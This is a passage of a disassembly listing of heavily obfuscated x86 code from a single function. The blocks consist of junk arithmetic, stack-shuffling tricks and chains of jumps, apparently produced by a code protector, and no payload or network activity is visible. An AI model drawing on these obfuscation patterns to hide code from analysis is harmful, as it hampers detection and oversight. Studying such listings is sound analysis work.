loc_596644:				; CODE XREF: sub_581EE9+15DB5j
		neg	esi
		not	esi
		inc	esi
		xor	esi, 8395E745h
		and	ebx, esi
		push	[esp-6EA6h+arg_6E9E]
		jmp	loc_59DD26
; ---------------------------------------------------------------------------


loc_596659:				; CODE XREF: sub_581EE9+134A2j
		sub	ebp, 281E1068h
		pop	ebx
		push	eax
		mov	eax, 4
		sub	ebp, eax
		mov	eax, [esp-6E6Ah+arg_6E60+2]
		add	esp, 4
		xor	ebp, [esp-6E6Eh+arg_6E64+2]
		jmp	loc_598057
; ---------------------------------------------------------------------------


loc_596676:				; CODE XREF: sub_581EE9+124F1j
		xor	edi, edx
		pop	edx
		add	ebx, edi
		mov	edi, [esp-6E9Eh+arg_6E96]
		add	esp, 4
		xchg	ebx, [esp-6EA2h+arg_6E9A]
		jmp	loc_5A48A0
; ---------------------------------------------------------------------------


loc_59668C:				; CODE XREF: sub_581EE9+14722j
		add	edx, ebp
		jmp	loc_59ADC3
; ---------------------------------------------------------------------------


loc_596693:				; CODE XREF: sub_581EE9+23073j
		sub	eax, 0D670174Fh
		mov	esi, eax
		pop	eax
		jmp	loc_59EABB
; ---------------------------------------------------------------------------


loc_5966A0:				; CODE XREF: sub_581EE9+20A7Cj
		mov	ebx, 24h
		add	ebx, edi
		push	6D39h
		mov	[esp-6EA2h+arg_6E9A], eax
		push	esi
		push	eax
		mov	eax, 264C0ADBh
		mov	esi, eax
		pop	eax
		sub	esi, 0C34F871h
		mov	eax, esi
		mov	esi, [esp-6E9Eh+arg_6E96]
		push	ebx
		mov	ebx, esp
		jmp	loc_59E637
; ---------------------------------------------------------------------------


loc_5966CC:				; CODE XREF: sub_581EE9+10989j
		xor	edx, 5DCA4FC7h
		add	eax, edx
		pop	edx
		sub	eax, 4
		jmp	loc_598D8E
; ---------------------------------------------------------------------------


loc_5966DF:				; CODE XREF: sub_581EE9+148B7j
		add	esi, 4
		xchg	esi, [esp-6EC4h+arg_6EBA+2]
		pop	esp
		jmp	loc_5A49A5
; ---------------------------------------------------------------------------


loc_5966EB:				; CODE XREF: sub_581EE9+1582Aj
		pop	ax
		sub	bx, ax
		jmp	loc_5A65A3
; ---------------------------------------------------------------------------


loc_5966F5:				; CODE XREF: sub_581EE9+22703j
		push	[esp-6ECAh+arg_6EC2]
		push	[esp-6EC6h+arg_6EBE]
		jmp	loc_59CABA
; ---------------------------------------------------------------------------


loc_596700:				; CODE XREF: sub_581EE9+2093Dj
		mov	esi, 5C9A0BBBh
		and	esi, 2DD626CAh
		shr	esi, 8
		jmp	loc_5957B3
; ---------------------------------------------------------------------------


loc_596713:				; CODE XREF: sub_581EE9+1AACAj
		sub	eax, edx
		jmp	loc_5A154D
; ---------------------------------------------------------------------------


loc_59671A:				; CODE XREF: sub_581EE9+25103j
		push	edx
		mov	edx, 7DFD4D03h
		sub	edx, 729D245Bh
		jmp	loc_5A4488
; ---------------------------------------------------------------------------


loc_59672B:				; CODE XREF: sub_581EE9+1F591j
		sub	esi, 1
		jmp	loc_5A29B6
; ---------------------------------------------------------------------------


loc_596736:				; CODE XREF: sub_581EE9+14FC2j
		push	eax
		push	edx
		push	esp
		mov	edx, [esp-6EB2h+arg_6EA8+2]
		add	esp, 4
		push	35A3h
		mov	[esp-6EB2h+arg_6EA8+2],	ebp
		push	edi
		mov	edi, 4
		mov	ebp, edi
		pop	edi
		add	edx, ebp
		jmp	loc_5A4D7B
; ---------------------------------------------------------------------------


loc_59675A:				; CODE XREF: sub_581EE9+1DF71j
		mov	ebx, [esp-6EB2h+arg_6EA8+2]
		add	esp, 4
		pop	ebx
		push	esi
		push	3F97746Bh
		jmp	loc_5A164F
; ---------------------------------------------------------------------------


loc_59676C:				; CODE XREF: sub_581EE9+127A2j
		and	ebx, 7AA243D4h
		add	ebx, 0D643F1Fh
		inc	ebx
		add	ebx, 0E7302F5Dh
		mov	ecx, ebx
		pop	ebx
		sub	eax, ecx
		jmp	loc_5A0410
; ---------------------------------------------------------------------------


loc_596789:				; CODE XREF: sub_581EE9+170B2j
		add	esp, 4
		xchg	ecx, [esp-6E6Eh+arg_6E64+2]
		mov	esp, [esp-6E6Eh+arg_6E64+2]
		jmp	loc_5A08E9
; ---------------------------------------------------------------------------


loc_59679A:				; CODE XREF: sub_581EE9+1907Cj
		add	esi, 4
		jmp	loc_5966DF
; ---------------------------------------------------------------------------


loc_5967A5:				; CODE XREF: sub_581EE9+22B60j
		add	al, 0E3h
		sub	al, 0Ch
		jmp	loc_596CB3
; ---------------------------------------------------------------------------


loc_5967AE:				; CODE XREF: sub_581EE9+1C14Ej
		pop	ecx
		xchg	esi, [esp-6E72h+arg_6E68+2]
		pop	esp
		mov	ax, word ptr [esp-6E76h+arg_6E6E]
		push	544Eh
		mov	[esp-6E72h+arg_6E68+2],	esi
		push	37CEh
		push	107Fh
		push	esp
		pop	[esp-6E66h+arg_6E5C+2]
		push	edx
		mov	edx, 4
		jmp	loc_59705E
; ---------------------------------------------------------------------------


loc_5967D8:				; CODE XREF: sub_581EE9+2300Cj
		xor	ebx, 172F327Fh
		push	edi
		mov	edi, 34933474h
		sub	ebx, edi
		pop	edi
		xor	ebx, 0FCF3EADBh
		push	4FBCh
		mov	[esp-6E62h+arg_6E58+2],	esi
		mov	esi, 5B723DD3h
		jmp	loc_5A10B2
; ---------------------------------------------------------------------------


loc_5967FF:				; CODE XREF: sub_581EE9+193ABj
		add	esp, 4
		jmp	loc_59958F
; ---------------------------------------------------------------------------


loc_59680A:				; CODE XREF: sub_581EE9+22C14j
		neg	ebp
		push	ecx
		push	eax
		mov	eax, 52D445D9h
		jmp	loc_59F95E
; ---------------------------------------------------------------------------


loc_596818:				; CODE XREF: sub_581EE9+1A7C7j
		pop	ecx
		xchg	esi, [esp-6E62h+arg_6E58+2]
		pop	esp
		mov	ebx, [esp-6E66h+arg_6E5C+2]
		add	esp, 4
		add	[esp-6E6Ah+arg_6E64+2],	edi
		mov	edi, [esp-6E6Ah+arg_6E60+2]
		jmp	loc_5A47E7
; ---------------------------------------------------------------------------


loc_59682F:				; CODE XREF: sub_581EE9+236A7j
		dec	eax
		push	edi
		mov	edi, 9000303h
		jmp	loc_5965AB
; ---------------------------------------------------------------------------


loc_59683B:				; CODE XREF: sub_581EE9+18CDDj
		pop	[esp-6E66h+arg_6E5C+2]
		jmp	loc_5A6EE8
; ---------------------------------------------------------------------------


loc_596843:				; CODE XREF: sub_581EE9+16372j
		mov	[esp-6E6Ah+arg_6E60+2],	esi
		push	esp
		mov	esi, [esp-6E66h+arg_6E5C+2]
		jmp	loc_5A2F10
; ---------------------------------------------------------------------------


loc_59684F:				; CODE XREF: sub_581EE9+1FF51j
		mov	[esp-6E66h+arg_6E5C+2],	esi
		mov	esi, esp
		jmp	loc_594AC9
; ---------------------------------------------------------------------------


loc_596859:				; CODE XREF: sub_581EE9+17A8Fj
		add	ebx, ecx
		add	ebx, 65FA3386h
		jmp	loc_5A1DBD
; ---------------------------------------------------------------------------


loc_596866:				; CODE XREF: sub_581EE9+1DAFEj
		mov	edx, 0EF55C08h
		mov	edi, edx
		mov	edx, [esp-6E66h+arg_6E5C+2]
		add	esp, 4
		xor	edi, 19F27CE8h
		push	esi
		jmp	loc_599D73
; ---------------------------------------------------------------------------


loc_596882:				; CODE XREF: sub_581EE9+24D19j
		add	[esp-6E66h+arg_6E5C+2],	4AEC5849h
		jmp	loc_5A66CB
; ---------------------------------------------------------------------------


loc_59688E:				; CODE XREF: sub_581EE9+12CB3j
		pop	eax
		mov	ecx, 40D13162h
		push	esi
		mov	esi, 4A969E9h
		shl	esi, 7
		jmp	loc_59815F
; ---------------------------------------------------------------------------


loc_5968A2:				; CODE XREF: sub_581EE9+21438j
		sub	bx, bp
		jmp	loc_5A571E
; ---------------------------------------------------------------------------


loc_5968AA:				; CODE XREF: sub_581EE9+1A8F5j
		pop	bx
		sub	al, 0DCh
		xor	dh, al
		mov	eax, [esp-6E92h+arg_6E8A]
		add	esp, 4
		shl	dh, 7
		jmp	loc_5A1F1E
; ---------------------------------------------------------------------------


loc_5968BE:				; CODE XREF: sub_581EE9+1ED65j
		add	esp, 4
		jmp	loc_59D1AA
; ---------------------------------------------------------------------------


loc_5968C9:				; CODE XREF: sub_581EE9+15B58j
		pop	ecx
		add	edx, edi
		pop	edi
		add	edx, eax
		push	ebp
		push	edx
		jmp	loc_59D72E
; ---------------------------------------------------------------------------


loc_5968D6:				; CODE XREF: sub_581EE9+110C2j
		push	edi
		mov	edi, 3F875303h
		jmp	loc_59264F
; ---------------------------------------------------------------------------


loc_5968E1:				; CODE XREF: sub_581EE9+204CDj
		push	edi
		mov	edi, 24273BBEh
		and	edi, 3C9672Eh
		shr	edi, 6
		add	edi, 25B3905h
		not	edi
		add	edi, 20D79AE4h
		mov	esi, edi
		mov	edi, [esp-6E56h+arg_6E4C+2]
		add	esp, 4
		push	edi
		mov	edi, 4272735Eh
		add	[esp-6E56h+arg_6E54+2],	edi
		pop	edi
		sub	[esp-6E5Ah+arg_6E54+2],	esi
		sub	[esp-6E5Ah+arg_6E54+2],	4272735Eh
		mov	esi, [esp-6E5Ah+arg_6E50+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_594DBE
; ---------------------------------------------------------------------------


loc_596934:				; CODE XREF: sub_581EE9+17889j
		push	[esp-6E56h+arg_6E4C+2]
		jmp	loc_5A4A11
; ---------------------------------------------------------------------------


loc_59693C:				; CODE XREF: sub_581EE9+1572Aj
		mov	esp, [esp-6E52h+arg_6E48+2]
		mov	cx, word ptr [esp-6E52h+arg_6E48+2]
		push	6D83h
		mov	[esp-6E4Eh+arg_6E44+2],	ecx
		sub	esp, 4
		push	esp
		pop	[esp-6E46h+arg_6E3E]
		push	5B49h
		mov	[esp-6E46h+arg_6E3E], ecx
		push	4
		pop	ecx
		jmp	loc_59B0DB
; ---------------------------------------------------------------------------


loc_596965:				; CODE XREF: sub_581EE9+176E3j
		pop	[esp-6E46h+arg_6E3E]
		mov	esp, [esp+0]
		jmp	loc_59EFFD
; ---------------------------------------------------------------------------


loc_596970:				; CODE XREF: sub_581EE9+1B1E8j
		add	edx, esi
		pop	esi
		sub	edx, 4
		jmp	loc_5A39E3
; ---------------------------------------------------------------------------


loc_59697E:				; CODE XREF: sub_581EE9+1FA4Ej
		mov	ebx, [esp-6E4Eh+arg_6E44+2]
		add	esp, 4
		push	eax
		mov	eax, 1DA15B22h
		xor	eax, 178C7F40h
		jmp	loc_5A6203
; ---------------------------------------------------------------------------


loc_596994:				; CODE XREF: sub_581EE9+1111Aj
		pop	esp
		jmp	loc_59C29B
; ---------------------------------------------------------------------------


loc_59699A:				; CODE XREF: sub_581EE9+1E323j
		push	ebp
		mov	ebp, esp
		jmp	loc_595FB8
; ---------------------------------------------------------------------------


loc_5969A2:				; CODE XREF: sub_581EE9+23368j
		mov	esi, 13AF132Fh
		add	esi, 6A283CA4h
		or	esi, 14875976h
		shl	esi, 2
		sub	esi, 5B684DB4h
		jmp	loc_5921CD
; ---------------------------------------------------------------------------


loc_5969C1:				; CODE XREF: sub_581EE9+1EA45j
		xor	eax, 76BE33E1h
		shl	eax, 5
		push	edi
		mov	edi, 673C172Eh
		sub	edi, 11F9151Eh
		jmp	loc_596C6A
; ---------------------------------------------------------------------------


loc_5969DA:				; CODE XREF: sub_581EE9+161F4j
		push	ebp
		jmp	loc_594DF9
; ---------------------------------------------------------------------------


loc_5969E0:				; CODE XREF: sub_581EE9+20542j
		add	esp, 4
		add	esp, 4
		pop	eax
		jmp	loc_59A214
; ---------------------------------------------------------------------------


loc_5969EF:				; CODE XREF: sub_581EE9+132B9j
		sub	al, 0Ch
		jmp	loc_5990C6
; ---------------------------------------------------------------------------


loc_5969F6:				; CODE XREF: sub_581EE9+22A33j
		sub	ebx, 176F2ACCh
		sub	edi, ebx
		pop	ebx
		jmp	loc_5A2951
; ---------------------------------------------------------------------------


loc_596A04:				; CODE XREF: sub_581EE9+16568j
		pop	ebx
		add	esp, 4
		jmp	loc_598427
; ---------------------------------------------------------------------------


loc_596A10:				; CODE XREF: sub_581EE9+18AA9j
		mov	[esp-6EBAh+arg_6EB2], edi
		mov	edi, 201D6756h
		push	ecx
		mov	ecx, 1A5A58FFh
		not	ecx
		push	edx
		jmp	loc_5A4459
; ---------------------------------------------------------------------------


loc_596A26:				; CODE XREF: sub_581EE9+1E07Bj
		mov	ebp, edi
		pop	edi
		add	esi, ebp
		mov	ebp, [esp-6EB6h+arg_6EAC+2]
		jmp	loc_59547E
; ---------------------------------------------------------------------------


loc_596A33:				; CODE XREF: sub_581EE9+151CDj
		push	eax
		mov	eax, 4
		jmp	loc_5A606F
; ---------------------------------------------------------------------------


loc_596A3E:				; CODE XREF: sub_581EE9+11980j
		mov	[esp-6EA0h+arg_6E96+2],	esp
		add	[esp-6EA0h+arg_6E96+2],	4
		pop	[esp-6EA0h+arg_6E96+2]
		add	[esp-6EA4h+arg_6E9A+2],	4
		jmp	loc_5A1F17
; ---------------------------------------------------------------------------


loc_596A54:				; CODE XREF: sub_581EE9+1652Cj
		push	edx
		mov	edx, 4
		sub	ecx, 5324122h
		jmp	loc_5986D3
; ---------------------------------------------------------------------------


loc_596A65:				; CODE XREF: sub_581EE9+1D648j
		mov	al, 4Dh
		mov	ch, 0EDh
		jmp	loc_5992D9
; ---------------------------------------------------------------------------


loc_596A6E:				; CODE XREF: sub_581EE9+18931j
		push	0C83h
		mov	[esp-6E9Ch+arg_6E92+2],	esi
		push	eax
		push	2E751B22h
		pop	eax
		or	eax, 13116D49h
		jmp	loc_59E721
; ---------------------------------------------------------------------------


loc_596A87:				; CODE XREF: sub_581EE9+1452Bj
		add	di, 25B9h
		add	di, 3969h
		add	di, ax
		sub	di, 3969h
		jmp	loc_5A52ED
; ---------------------------------------------------------------------------


loc_596A9E:				; CODE XREF: sub_581EE9+24D99j
		pop	ebx
		jmp	loc_5A396F
; ---------------------------------------------------------------------------


loc_596AA4:				; CODE XREF: sub_581EE9+24795j
		sub	ebx, 0BD4AE91Fh
		add	ecx, ebx
		pop	ebx
		add	ecx, edi
		sub	ecx, 71AF74A1h
		jmp	loc_5A4CE4
; ---------------------------------------------------------------------------


loc_596ABA:				; CODE XREF: sub_581EE9+1895Dj
		mov	cl, 0AEh
		not	cl
		push	ecx
		jmp	loc_59D3A4
; ---------------------------------------------------------------------------


loc_596AC4:				; CODE XREF: sub_581EE9+236E1j
		sub	ebp, 4
		xchg	ebp, [esp+0]
		jmp	loc_5A32BB
; ---------------------------------------------------------------------------


loc_596ACF:				; CODE XREF: sub_581EE9+1D3A0j
		shr	ecx, 5
		neg	ecx
		not	ecx
		inc	ecx
		push	ebp
		mov	ebp, 3C34DF32h
		xor	ecx, ebp
		jmp	loc_5A4FC7
; ---------------------------------------------------------------------------


loc_596AE4:				; CODE XREF: sub_581EE9+135F7j
		sub	bl, 37h
		sub	bl, ch
		add	bl, 37h
		add	bl, 0DBh
		pop	ecx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	65F0h
		mov	[esp-6E70h+arg_6E68], ebp
		jmp	loc_59B3AE
; ---------------------------------------------------------------------------


loc_596B03:				; CODE XREF: sub_581EE9+10E7Fj
		push	565Bh
		mov	[esp-6E62h+arg_6E58+2],	ebp
		push	edx
		push	479E2E9Dh
		pop	edx
		sub	edx, 26C00904h
		push	esi
		mov	esi, 9714AACh
		add	esi, 62D0C8CFh
		jmp	loc_593E13
; ---------------------------------------------------------------------------


loc_596B29:				; CODE XREF: sub_581EE9+16D4Dj
		add	esp, 4
		jmp	loc_5994DE
; ---------------------------------------------------------------------------


loc_596B31:				; CODE XREF: sub_581EE9+1FC00j
		mov	[esp-6E5Eh+arg_6E54+2],	ebp
		mov	ebp, 8B60B94h
		sub	esp, 4
		mov	[esp-6E5Ah+arg_6E50+2],	esi
		mov	esi, 792B47C7h
		xor	ebp, esi
		jmp	loc_5975B8
; ---------------------------------------------------------------------------


loc_596B4B:				; CODE XREF: sub_581EE9+1A45Dj
		mov	esp, [esp-6E5Ah+arg_6E50+2]
		mov	word ptr [esp-6E5Ah+arg_6E50+2], ax
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_596B57:				; CODE XREF: sub_581EE9+16ECEj
		pop	esp
		add	edi, 4
		push	738Eh
		jmp	loc_5A5E59
; ---------------------------------------------------------------------------


loc_596B68:				; CODE XREF: sub_581EE9+18DBEj
		add	esp, 4
		xor	ebp, 26A773BCh
		add	ebp, 9B75DD33h
		mov	ebx, ebp
		pop	ebp
		push	ecx
		mov	ecx, 3CFC0707h
		sub	eax, ecx
		pop	ecx
		add	eax, ebx
		push	ebp
		mov	ebp, 3CFC0707h
		jmp	loc_595DA4
; ---------------------------------------------------------------------------


loc_596B90:				; CODE XREF: sub_581EE9+1527Aj
		inc	ebx
		shl	ebx, 1
		shl	ebx, 4
		push	eax
		mov	eax, 9D4AA748h
		sub	ebx, eax
		pop	eax
		sub	ecx, ebx
		jmp	loc_592E55
; ---------------------------------------------------------------------------


loc_596BA6:				; CODE XREF: sub_581EE9+21F45j
		add	ebx, 4
		push	edi
		mov	edi, 238D06FCh
		push	ebx
		mov	ebx, 5B63659Dh
		jmp	loc_59358A
; ---------------------------------------------------------------------------


loc_596BBD:				; CODE XREF: sub_581EE9+11553j
		neg	ecx
		dec	ecx
		xor	ecx, 974EA1FFh
		dec	ecx
		dec	ecx
		or	ecx, 13110F2Dh
		push	ebx
		mov	ebx, 0E8B7D8Bh
		add	ebx, 5446947h
		add	ebx, 14A949D0h
		sub	ecx, ebx
		pop	ebx
		jmp	loc_5991E2
; ---------------------------------------------------------------------------


loc_596BE8:				; CODE XREF: sub_581EE9+1281Bj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp-6E7Ch+arg_6E72+2]
		jmp	loc_5A7131
; ---------------------------------------------------------------------------


loc_596BFF:				; CODE XREF: sub_581EE9+13F27j
		mov	edx, [esp+0]
		add	esp, 4
		add	edx, 4
		sub	edx, 4
		jmp	loc_5A5198
; ---------------------------------------------------------------------------


loc_596C19:				; CODE XREF: sub_581EE9+2128Cj
		shr	eax, 2
		shl	eax, 8
		add	eax, 1
		sub	esp, 4
		mov	[esp+0], edi
		mov	edi, 0E52585E0h
		add	eax, edi
		mov	edi, [esp+0]
		add	esp, 4
		xor	edx, eax
		pop	eax
		inc	edx
		jmp	loc_59860E
; ---------------------------------------------------------------------------


loc_596C43:				; CODE XREF: sub_581EE9+233CAj
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_596C48:				; CODE XREF: sub_581EE9+24078j
		add	edi, ebp
		pop	ebp
		sub	esi, edi
		pop	edi
		push	ebp
		mov	ebp, 5E7E4A1Fh
		xor	esi, ebp
		mov	ebp, [esp-6E9Ch+arg_6E92+2]
		add	esp, 4
		xor	esi, 0E2DF78D5h
		mov	ebx, esi
		pop	esi
		jmp	loc_5A6C98
; ---------------------------------------------------------------------------


loc_596C6A:				; CODE XREF: sub_581EE9+14AECj
		not	edi
		sub	edi, 11555D5Dh
		jmp	loc_5A3590
; ---------------------------------------------------------------------------


loc_596C77:				; CODE XREF: sub_581EE9+14756j
		shl	eax, 5
		jmp	loc_5A5FDF
; ---------------------------------------------------------------------------


loc_596C7F:				; CODE XREF: sub_581EE9+1D79Dj
		mov	esi, esp
		push	ebp
		push	7B9Eh
		jmp	loc_5956C0
; ---------------------------------------------------------------------------


loc_596C8C:				; CODE XREF: sub_581EE9+244D2j
		add	edi, 2C13DA0Fh
		add	ecx, 6351F06h
		sub	ecx, 746F325Ch
		sub	ecx, 6EA67095h
		sub	ecx, edi
		push	7EC4h
		mov	[esp-6E9Ah+arg_6E92], eax
		jmp	loc_5A5C9E
; ---------------------------------------------------------------------------


loc_596CB3:				; CODE XREF: sub_581EE9+148C0j
		add	al, bl
		add	al, 0Ch
		sub	al, 0E3h
		jmp	loc_5A4C17
; ---------------------------------------------------------------------------


loc_596CBE:				; CODE XREF: sub_581EE9+192A9j
		inc	ebx
		or	ebx, 254F0CCDh
		shl	ebx, 3
		add	ebx, 0B351B740h
		mov	edi, ebx
		pop	ebx
		add	edi, 0FFFFFFFFh
		sub	edi, 22CA2623h
		add	ebp, edi
		jmp	loc_5A0DD4
; ---------------------------------------------------------------------------


loc_596CE1:				; CODE XREF: sub_581EE9+176D9j
		pop	eax
		jmp	loc_595C68
; ---------------------------------------------------------------------------


loc_596CE7:				; CODE XREF: sub_581EE9+17D16j
		mov	edx, 7A701962h
		sub	edx, 44A69A2Eh
		and	ecx, edx
		pop	edx
		push	ecx
		not	[esp-6E76h+arg_6E6E]
		pop	ecx
		xchg	edx, ecx
		not	edx
		xchg	edx, ecx
		push	eax
		mov	eax, 435207ADh
		sub	eax, 861F85Eh
		jmp	loc_598B04
; ---------------------------------------------------------------------------


loc_596D10:				; CODE XREF: sub_581EE9+1315Dj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-6EA6h+arg_6E9E]
		pop	esp
		jmp	loc_5A3C15
; ---------------------------------------------------------------------------


loc_596D27:				; CODE XREF: sub_581EE9+22208j
		mov	dword ptr [esp-6EAAh+arg_6EA2],	ebx
		jmp	loc_5940AC
; ---------------------------------------------------------------------------


loc_596D2F:				; CODE XREF: sub_581EE9+21A6Dj
		xor	edx, dword ptr [esp-6EAAh+arg_6EA2]
		xor	dword ptr [esp-6EAAh+arg_6EA2],	edx
		xor	edx, dword ptr [esp-6EAAh+arg_6EA2]
		mov	esp, dword ptr [esp-6EAAh+arg_6EA2]
		jmp	loc_598C51
; ---------------------------------------------------------------------------


loc_596D40:				; CODE XREF: sub_581EE9+21022j
		push	6C24h
		mov	[esp-6EA6h+arg_6E9E], edx
		push	4AADh
		jmp	loc_597863
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_596D59:				; CODE XREF: sub_581EE9+1C285j
		push	esp
		jmp	loc_599789
; ---------------------------------------------------------------------------


loc_596D5F:				; CODE XREF: sub_581EE9+15A77j
		push	653Fh
		mov	[esp-6E96h+arg_6E8E], eax
		push	[esp-6E96h+arg_6E92]
		mov	eax, [esp-6E92h+arg_6E8A]
		add	esp, 4
		pop	[esp-6E96h+arg_6E8E]
		pop	esp
		mov	[esp-6E9Eh+arg_6E96], edi
		mov	edi, 473F6518h
		shl	edi, 1
		jmp	loc_59BD6A
; ---------------------------------------------------------------------------


loc_596D87:				; CODE XREF: sub_581EE9+1673Ej
		mov	[esp-6E9Eh+arg_6E96], edi
		push	esi
		push	edx
		mov	edx, 460D65D5h
		mov	esi, 0D31DB233h
		jmp	loc_59B100
; ---------------------------------------------------------------------------


loc_596D9B:				; CODE XREF: sub_581EE9+24315j
		add	eax, 6B6115Dh
		add	eax, edx
		sub	eax, 6B6115Dh
		push	edi
		mov	edi, 19DA1BBFh
		sub	edi, 43D264C2h
		sub	edi, 0A106D4Bh
		add	edi, 72F7C146h
		jmp	loc_597494
; ---------------------------------------------------------------------------


loc_596DC4:				; CODE XREF: sub_581EE9+1A581j
		not	ebx
		xor	ebx, 98EBBA28h
		jmp	loc_5A719F
; ---------------------------------------------------------------------------


loc_596DD1:				; CODE XREF: sub_581EE9+24E2Ej
		pop	esp
		xor	ebp, [esp-6E96h+arg_6E8E]
		xor	[esp-6E96h+arg_6E8E], ebp
		xor	ebp, [esp-6E96h+arg_6E8E]
		jmp	loc_59E5F3
; ---------------------------------------------------------------------------


loc_596DE0:				; CODE XREF: sub_581EE9+10F67j
		push	eax
		jmp	loc_59D2E6
; ---------------------------------------------------------------------------


loc_596DE6:				; CODE XREF: sub_581EE9+20F8Fj
		push	[esp-6E5Eh+arg_6E58+2]
		pop	edi
		pop	[esp-6E5Eh+arg_6E54+2]
		pop	esp
		sub	[esp-6E66h+arg_6E5C+2],	eax
		pushf
		jmp	loc_5965F3
; ---------------------------------------------------------------------------


loc_596DF8:				; CODE XREF: sub_581EE9+1790Aj
		mov	ebp, 12820E0Eh
		add	ebp, 0FFFFFFFFh
		jmp	loc_59B0C2
; ---------------------------------------------------------------------------


loc_596E08:				; CODE XREF: sub_581EE9+1A154j
		add	eax, esi
		jmp	loc_5A01B6
; ---------------------------------------------------------------------------


loc_596E0F:				; CODE XREF: sub_581EE9+10365j
		push	ecx
		mov	ecx, 30CC4D0Dh
		sub	eax, 44374B99h
		add	eax, ecx
		push	ebx
		mov	ebx, 44374B99h
		add	eax, ebx
		jmp	loc_59CE45
; ---------------------------------------------------------------------------


loc_596E29:				; CODE XREF: sub_581EE9+2348Aj
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		jmp	loc_5921E4
; ---------------------------------------------------------------------------


loc_596E37:				; CODE XREF: sub_581EE9+137D2j
		push	[esp-6E46h+arg_6E3E]
		pop	ecx
		add	esp, 4
		jmp	loc_5970A7
; ---------------------------------------------------------------------------


loc_596E43:				; CODE XREF: sub_581EE9+16190j
		sub	bl, al
		jmp	loc_59A530
; ---------------------------------------------------------------------------


loc_596E4A:				; CODE XREF: sub_581EE9+201E8j
		add	ebp, 0CEF6DE2Ah
		jmp	loc_59CE38
; ---------------------------------------------------------------------------


loc_596E55:				; CODE XREF: sub_581EE9+24A81j
		inc	ecx
		shr	ecx, 4
		jmp	loc_5A4562
; ---------------------------------------------------------------------------


loc_596E5E:				; CODE XREF: sub_581EE9+1EF16j
		add	bl, 0D6h
		sub	bl, 8Eh
		add	bl, 6Ch
		push	ecx
		mov	ch, bl
		mov	dh, ch
		pop	ecx
		jmp	loc_59232A
; ---------------------------------------------------------------------------


loc_596E72:				; CODE XREF: sub_581EE9+160A5j
		mov	ecx, 8090D26h
		sub	ebx, 0D5C0CC1h
		add	ebx, 4D2A461Fh
		add	ebx, ecx
		sub	ebx, 4D2A461Fh
		add	ebx, 0D5C0CC1h
		push	dword ptr [esp+0]
		pop	ecx
		add	esp, 4
		add	ebp, ebx
		pop	ebx
		sub	ebp, 4
		xchg	ebp, [esp-6E52h+arg_6E48+2]
		mov	esp, [esp-6E52h+arg_6E48+2]
		mov	[esp-6E52h+arg_6E48+2],	ebx
		pop	eax
		pop	ebx
		not	ebx
		jmp	loc_596736
; ---------------------------------------------------------------------------


loc_596EB0:				; CODE XREF: sub_581EE9+21B02j
		push	[esp-6E5Ah+arg_6E54+2]
		pop	edx
		jmp	loc_599654
; ---------------------------------------------------------------------------


loc_596EBA:				; CODE XREF: sub_581EE9+171F4j
		xor	edi, ebp
		xor	[esp-6E5Ah+arg_6E50+2],	edi
		xor	edi, [esp-6E5Ah+arg_6E50+2]
		jmp	loc_598AAF
; ---------------------------------------------------------------------------


loc_596EC7:				; CODE XREF: sub_581EE9+1CB4Cj
		sub	edx, ebp
		sub	edx, 3C550939h
		push	ebp
		mov	ebp, 4BA53CEDh
		sub	edx, ebp
		pop	ebp
		jmp	loc_59ACDE
; ---------------------------------------------------------------------------


loc_596EDD:				; CODE XREF: sub_581EE9+121BEj
		sub	dl, 87h
		sub	dl, ch
		jmp	loc_5A0825
; ---------------------------------------------------------------------------


loc_596EE7:				; CODE XREF: sub_581EE9+23C6Fj
		pop	esp
		jmp	loc_5949DC
; ---------------------------------------------------------------------------


loc_596EED:				; CODE XREF: sub_581EE9+18EBFj
		mov	ecx, 0D02D282Eh
		jmp	loc_595D34
; ---------------------------------------------------------------------------


loc_596EF7:				; CODE XREF: sub_581EE9+19F69j
		mov	edx, 71E11E55h
		sub	ebx, edx
		pop	edx
		add	ebx, eax
		push	edi
		mov	edi, 67BD476Ch
		add	edi, 0A23D6E9h
		jmp	loc_5A497C
; ---------------------------------------------------------------------------


loc_596F12:				; CODE XREF: sub_581EE9+161E4j
		push	[esp-6E7Ah+arg_6E76]
		jmp	loc_5A088D
; ---------------------------------------------------------------------------


loc_596F1B:				; CODE XREF: sub_581EE9+1CDA2j
		xor	[esp-6E76h+arg_6E6E], edi
		xor	edi, [esp-6E76h+arg_6E6E]
		mov	esp, [esp-6E76h+arg_6E6E]
		sub	ecx, 1DBC0D64h
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp-6E72h+arg_6E68+2]
		pop	esp
		mov	[esp-6E76h+arg_6E6E], ecx
		sub	esp, 4
		jmp	loc_5A2385
; ---------------------------------------------------------------------------


loc_596F48:				; CODE XREF: sub_581EE9+152EBj
		pop	ecx
		sub	esp, 4
		mov	[esp-6E72h+arg_6E68+2],	esi
		jmp	loc_59236F
; ---------------------------------------------------------------------------


loc_596F54:				; CODE XREF: sub_581EE9+12B08j
		pop	esp
		push	dword ptr [edi+eax*4]
		push	[esp-6E64h+arg_6E5C]
		pop	eax
		sub	esp, 4
		mov	[esp-6E60h+arg_6E58], edi
		jmp	loc_5A009C
; ---------------------------------------------------------------------------


loc_596F67:				; CODE XREF: sub_581EE9+1F286j
		sub	ebx, 4AE4240Bh
		xor	ebx, 93E5FC8Eh
		sub	edx, 3187EFDh
		add	edx, ebx
		add	edx, 3187EFDh
		pop	ebx
		push	ebx
		mov	ebx, 6A976887h
		or	ebx, 0EC560F2h
		jmp	loc_5A18BC
; ---------------------------------------------------------------------------


loc_596F93:				; CODE XREF: sub_581EE9+211EFj
		push	edx
		push	[esp-6E5Ch+arg_6E58]
		pop	edx
		pop	[esp-6E5Ch+arg_6E54]
		pop	esp
		jmp	loc_59550D
; ---------------------------------------------------------------------------


loc_596FA2:				; CODE XREF: sub_581EE9+1CF48j
		xchg	ebx, [esp-6E64h+arg_6E5C]
		pop	esp
		push	edx
		jmp	loc_59A391
; ---------------------------------------------------------------------------


loc_596FAC:				; CODE XREF: sub_581EE9+1DA70j
